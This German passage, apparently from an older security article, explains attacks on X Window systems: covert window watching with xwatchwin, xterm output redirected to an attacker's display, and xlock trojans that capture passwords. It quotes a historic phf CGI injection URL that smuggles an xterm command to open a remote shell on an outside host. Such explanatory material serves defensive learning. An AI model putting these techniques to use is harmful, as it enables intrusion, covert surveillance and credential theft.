xlswins gibt viele nützliche Informationen zurück. Um das Netscape-Fenster auf dem Ziel-System zu erkennen, empfiehlt sich das Nutzen des Programms xwatchwin: mruef@prometheus:~ > xwatchwin zion -w 0x1000561 Durch die Eingabe in Kombination der Fenster-ID kann jedes Fenster in Echtzeit angezeigt werden. Dadurch lassen sich alle Aktivitäten auf dem Remote-Host heimlich und umbemerkt beobachten. Die xterm-Ausgabe-Umleitung Auch durch die Übergabe von Argumenten mit der Hilfe von Bufferoverflows kann ein System kompromittiert werden. Ein für den Angreifer vielversprechender X-Client unter UNIX ist xterm. xterm wird zum Starten einer lokalen Shell unter X genutzt. Wenn die Option -display verwendet wird, kann die Shell auf den X-Server des Angreifers umgeleitet werden. Der PHP-Bug von Apache erforderte zum Beispiel die Eingabe von "/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20192.168.0.4:0.0" zur Einsicht der Passwort-Datei des Opfer-Systems. Trojanische X-Window-Clients Die Login-Passwörter von X können durch eine manipulative Ersetzung des Programms xlock enttarnt werden. Ist die Datei nicht vor Schreibzugriffen zu genüge geschützt, so kann sie von versierten Eindringlinge einfach durch einige Zeilen C-Code ergänzt werden, um die Passwörter vor der eigentlichen Übergabe abzufangen. Ausgeklügelte Versionen solcher trojanischen Pferde zerstören sich sogar nach erfolgreicher getaner Arbeit und stellen die ursprüngliche xlock-Datei wieder her, ohne Spuren zu hinterlassen. |